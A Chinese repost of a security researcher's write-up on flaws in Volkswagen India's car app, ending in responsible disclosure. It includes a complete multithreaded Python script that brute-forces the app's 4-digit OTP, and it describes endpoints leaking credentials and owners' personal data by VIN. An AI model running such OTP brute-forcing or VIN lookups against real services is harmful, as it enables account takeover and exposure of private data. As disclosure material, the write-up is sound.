白帽故事 · 2025年5月28日 0

如何用一部手机开走任意一辆大众汽车

事件起因

2024 年,白帽小哥购买了一辆二手车,作为一名技术爱好者,他便迫不及待地想探索它的连接功能。

停车后,小哥立即在手机上安装了 My Volkswagen(ŠKODA Auto Volkswagen India Pvt Ltd)应用程序。

在设置过程中,APP 要求输入汽车的车架号,然后要求一个四位数的 OTP——小哥原以为获取那个代码会很容易,结果并不是。

好奇心来袭

OTP 发送到了前车主的手机上,小哥联系了汽车经销商获得了前车主的联系方式,但小哥却无法通过电话联系到前车主,小哥给前车主发了一条短信,耐心等待了 1 个小时后,却没有收到任何回复。

小哥尝试输入一些随机代码,看是否能够奏效,然后均告失败。小哥大约进行了 10-15 次的尝试——APP 并没有因为多次尝试而进行锁定:如果暴力破解 10000 种组合会怎么样?会被锁定吗?说干就干!

发现过程

配置好 iPhone 的 Wi-Fi 代理并安装 Burp 的 CA 证书后,白帽小哥使用一个随机的 OTP 发起了一个请求,很快便能够查看 APP 通过互联网发送的所有请求。

在浏览这些请求寻找 OTP 时,白帽小哥发现了一些其它有趣的 API 调用,这些将在后文谈到。

file

一旦找到 OTP 请求,小哥便尝试对 OTP 字段进行爆破,为了方便,小哥编写了一个 Python 脚本:

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

# API endpoint
url = <REDACTED>

# Headers for the request
headers = {
    "Host": <REDACTED>,
    "Accept": "*/*",
    "Content-Type": "application/json",
    "Authorization": <REDACTED>
}

# Data template
data_template = {
    "brand": "VW",
    "installationID": <REDACTED>,
    "userID": <REDACTED>,
    "vehicleID": <REDACTED>,
    "otp": "5555"  # OTP placeholder
}

# Function to send a single request
def send_request(otp):
    otp_str = f"{otp:04}"  # Format OTP as 4 digits
    data = data_template.copy()
    data["otp"] = otp_str

    try:
        response = requests.post(url, json=data, headers=headers)
        result = f"OTP: {otp_str} | Response Code: {response.status_code} | Body: {response.text}"
    except requests.exceptions.RequestException as e:
        result = f"OTP: {otp_str} | Error: {e}"
    return result

# Concurrent execution
def main():
    max_workers = 100  # Number of concurrent threads
    with ThreadPoolExecutor(max_workers=max_workers) as executor, open("responses.txt", "w") as file:
        # Submit tasks for each OTP
        futures = {executor.submit(send_request, otp): otp for otp in range(10000)}

        for future in as_completed(futures):
            result = future.result()
            # Log to console for monitoring
            print(result)
            # Write result to file
            file.write(result + "\n")

if __name__ == "__main__":
    main()

几秒钟后,脚本找到了一个有效的 OTP,APP 也成功的显示了小哥的车子:

file

file

小哥成功访问了他的二手汽车,但这让小哥开始思考,APP 可能还有哪些安全漏洞?回到 BurpSuite,检查了各种 API 调用后,小哥发现了一些严重问题…

漏洞 1:明文显示的内部凭证

一个 API 端点以明文形式暴露了各种内部服务的密码、令牌和用户名,这包括内部应用程序、支付处理细节,甚至包括像 Salesforce 这样的 CRM 工具。

file

file

漏洞2:通过 VIN 泄露车主个人信息

另一个 API 端点可以通过 VIN 号码泄露即可访问的汽车所有服务和维护套餐。

每项服务套餐包含了大量的客户信息,包括姓名、电话号码、邮寄地址、电子邮件地址、车辆详细信息(型号、颜色、车牌号、底盘号、发动机号)、有效的服务合同、购买日期、支付金额等。

file

通过此端点可访问的数据的示例条目:

  {
      "old": {
        "VALID_CONTRACTS_AND_INTREM_CONTRACTS_VW": {
          "CONTRACT_ID": <REDACTED>,
          "PRODUCT_NAME": <REDACTED>,
          "PRODUCT_DESC": <REDACTED>,
          "PAYMENT_STATUS": null,
          "PRODUCT_ID": <REDACTED>,
          "MST_VAS_TYPE_ID": <REDACTED>,
          "PLAN_ID": <REDACTED>,
          "INVOICE_NUMBER": <REDACTED>,
          "DEALER_ID": <REDACTED>,
          "DATE_OF_SALE": <REDACTED>,
          "SELLER_ID": null,
          "SELLER_TYPE": <REDACTED>,
          "SOLD_BY": null,
          "SOLD_TYPE": <REDACTED>,
          "VALID_FROM_DATE": <REDACTED>,
          "VALID_TILL_DATE": <REDACTED>,
          "VALID_TILL_DISTANCE": null,
          "IS_OWNERSHIP_CHANGED": null,
          "STATUS": <REDACTED>,
          "GENERAL_COMMENTS": null,
          "IS_SHORTCLOSED": null,
          "SHORTCLOSED_ON": null,
          "SHORTCLOSED_COMMENTS": null,
          "VIN": <REDACTED>,
          "ENGINE_NUMBER": <REDACTED>,
          "CHASSIS_NUMBER": <REDACTED>,
          "REGD_NUMBER": <REDACTED>,
          "ORDER_FROM": null,
          "CURRENT_KM": null,
          "MODEL": <REDACTED>,
          "VARIANT": <REDACTED>,
          "COLOR": null,
          "SHADE": null,
          "PUR_CITY": null,
          "REGD_CITY": null,
          "REGD_OWNER": <REDACTED>,
          "USER_NAME": null,
          "MOBILE": <REDACTED>,
          "FAX": null,
          "PHONE": null,
          "EMAIL": <REDACTED>,
          "ADDRESS_LINE1": <REDACTED>,
          "ADDRESS_LINE2": null,
          "CITY": <REDACTED>,
          "PINCODE": <REDACTED>,
          "CREATED_ON": <REDACTED>,
          "CREATED_BY": <REDACTED>,
          "MODIFIED_ON": <REDACTED>,
          "MODIFIED_BY": <REDACTED>,
          "PARTS_MRP": <REDACTED>,
          "LABOR_COST": <REDACTED>,
          "SWACH_BHARAT_CESS": null,
          "KRISHI_KALYAN_CESS": null,
          "SERVICETAX": null,
          "SWACH_BHARAT_CESS_PERCENTAGE": null,
          "KRISHI_KALYAN_CESS_PERCENTAGE": null,
          "SERVICETAX_PERCENTAGE": null,
          "CUSTOMER_GSTIN": null,
          "CUSTOMER_GSTIN_AVAILABLE": null,
          "SGST": <REDACTED>,
          "IGST": <REDACTED>,
          "CGST": <REDACTED>,
          "CESS": <REDACTED>,
          "GSTIN": null,
          "SGST_PERCENTAGE": <REDACTED>,
          "CGST_PERCENTAGE": <REDACTED>,
          "IGST_PERCENTAGE": <REDACTED>,
          "CESS_PERCENTAGE": <REDACTED>,
          "STATE_NUM": <REDACTED>,
          "RELATED_CONTRACT_ID": <REDACTED>,
          "FUEL_TYPE": <REDACTED>,
          "ODOMETER_READING": <REDACTED>,
          "CONTRACT_STATUS": <REDACTED>,
          "CERTIFICATE_NUMBER": null,
          "MODEL_CODE": null,
          "SCORE": null,
          "UPLOAD_FILES": null,
          "CREDIT_INVOICE_NUMBER": null,
          "CREDIT_CREATED_ON": null,
          "MODEL_YEAR": <REDACTED>,
          "BRAND": <REDACTED>,
          "EW_NUMBER": null,
          "TYPE_OF_CONTRACT": <REDACTED>,
          "COST_BEFORE_DEALER_DISCOUNT": null,
          "DEALER_DISCOUNT_TYPE": null,
          "DEALER_DISCOUNT_VALUE": null,
          "COST_AFTER_DEALER_DISCOUNT": null,
          "IRN_NUMBER": null,
          "QR_CODE": null,
          "IS_IRN_CANCELLED": null,
          "DISS_K_QUERY_NO": null,
          "RO_NUMBER": null,
          "DIAGNOSTIC_PROTOCOL_ID": null,
          "DAN_NUMBER": null,
          "DAN_DATE": null,
          "CARPORT_FILE_GEN": <REDACTED>,
          "MODE_OF_PAYMENT": null,
          "PRICE": "0.00"
        }
      }
    }

漏洞 3:通过 VIN 访问车辆服务历史

另一处端点泄露了所有车辆在服务中心的所有服务历史和详细信息,同样,只需使用车辆识别码即可访问。

每个到访车间的记录都包括所执行的工作详情、客户的个人信息,甚至这些顾客的调查结果!

file

通过该端点可访问的数据的示例条目:

    {
      "attributes": {
        "type": <REDACTED>,
        "url": <REDACTED>
      },
      "Id": <REDACTED>,
      "CreatedDate": <REDACTED>,
      "VW_VIN__c": <REDACTED>,
      "VW_Registration_No__c": <REDACTED>,
      "RO_Closed_Date__c": <REDACTED>,
      "RO_Type__c": <REDACTED>,
      "Delivery_Date_Nadcon__c": <REDACTED>,
      "Mileage_Out__c": 27670,
      "Service_Dealer__c": <REDACTED>,
      "Customer_Voice__c": <REDACTED>,
      "Item_Amount__c": 9898.32,
      "Labor_Amount__c": 3812.66,
      "Amount__c": 13710.98,
      "Selling_Dealer_Code__c": <REDACTED>,
      "Post_Service_feedback_for_VW_HQ__c": false,
      "VW_Brand__c": <REDACTED>,
      "VW_RO_Number__c": <REDACTED>,
      "Repair_Order__c": <REDACTED>,
      "SA__c": <REDACTED>,
      "RecordTypeId": <REDACTED>,
      "Service_Dealer__r": {
        "attributes": {
          "type": <REDACTED>,
          "url": <REDACTED>
        },
        "Id": <REDACTED>,
        "Name": <REDACTED>
      },
      "Repair_Order__r": {
        "attributes": {
          "type": <REDACTED>,
          "url": <REDACTED>
        },
        "Id": <REDACTED>,
        "City__c": <REDACTED>,
        "Discount__c": <REDACTED>,
        "Discount_Amount__c": <REDACTED>,
        "Pincode__c": <REDACTED>,
        "State__c": <REDACTED>,
        "Total_GST__c": <REDACTED>,
        "address__c": <REDACTED>
      }
    }
  ],
  "Overall_customer_satisfaction_score": <REDACTED>,
  "Message": null,
  "Dealer_PSF_Question_rated_less_than_4_star": {
    "Will you need to revisit to a workshop because work carried-out incorrectly and/or incompletely in this visit.": No,
    "Was your last workshop visit due to incorrect work done in an earlier visit": "No"
  },
  "customerMasterData": {
    "attributes": {
      "type": <REDACTED>,
      "url": <REDACTED>
    },
    "Id": <REDACTED>,
    "VW_CustomerName__c": <REDACTED>,
    "VW_Primary_Email_ID__c": <REDACTED>,
    "VW_Address_Line_1__c": <REDACTED>,
    "Registered_Owner_Address__c": <REDACTED>,
    "VW_Active__c": true,
    "VW_DOB__c": <REDACTED>,
    "VW_Permanent_Mobile_Number__c": <REDACTED>
  }

其它 API 端点揭示了车辆远程信息处理数据,在某些情况下甚至包括“教育资格”和“驾驶执照”号码。

其中一个端点的样本数据:

{
  "isSuccessful": true,
  "messagecode": 200,
  "message": "Success",
  "userInfo": {
    "userID": <REDACTED>,
    "name": <REDACTED>,
    "primaryMailID": <REDACTED>,
    "secondaryMailID": <REDACTED>,
    "primaryContact": <REDACTED>,
    "secondaryContact": <REDACTED>,
    "emergencyContact": <REDACTED>,
    "familyType": <REDACTED>,
    "dob": <REDACTED>,
    "educationQualification": <REDACTED>,
    "communicationAddress": <REDACTED>,
    "otherCarDetail": <REDACTED>,
    "drivingLicence": <REDACTED>,
    "preferCommunicationModel": <REDACTED>
  },
  "loginDetails": {
    "loginVia": "Email",
    "otpVerifiedStatus": true
  },
  "notificationSettings": {
    "brandVoiceAlert": false,
    "serviceDueVoiceAlert": false,
    "insuranceVoiceAlert": false,
    "pucVoiceAlert": false,
    "brandAlert": false,
    "serviceDueAlert": false,
    "insuranceAlert": false,
    "pucAlert": false
  }

漏洞时间线

小哥第一时间向大众公司报告了漏洞,漏洞时间线如下:

file

虽然没有获得任何赏金奖励,但小哥确实得到了一些更令人满意的东西 — 那就是有机会帮助一个真实的产品更安全。

下图是大众公司给小哥的感谢信:

file

file

原文:https://infosecwriteups.com/hacking-my-car-and-probably-yours-security-flaws-in-volkswagens-app-24b34c47ba89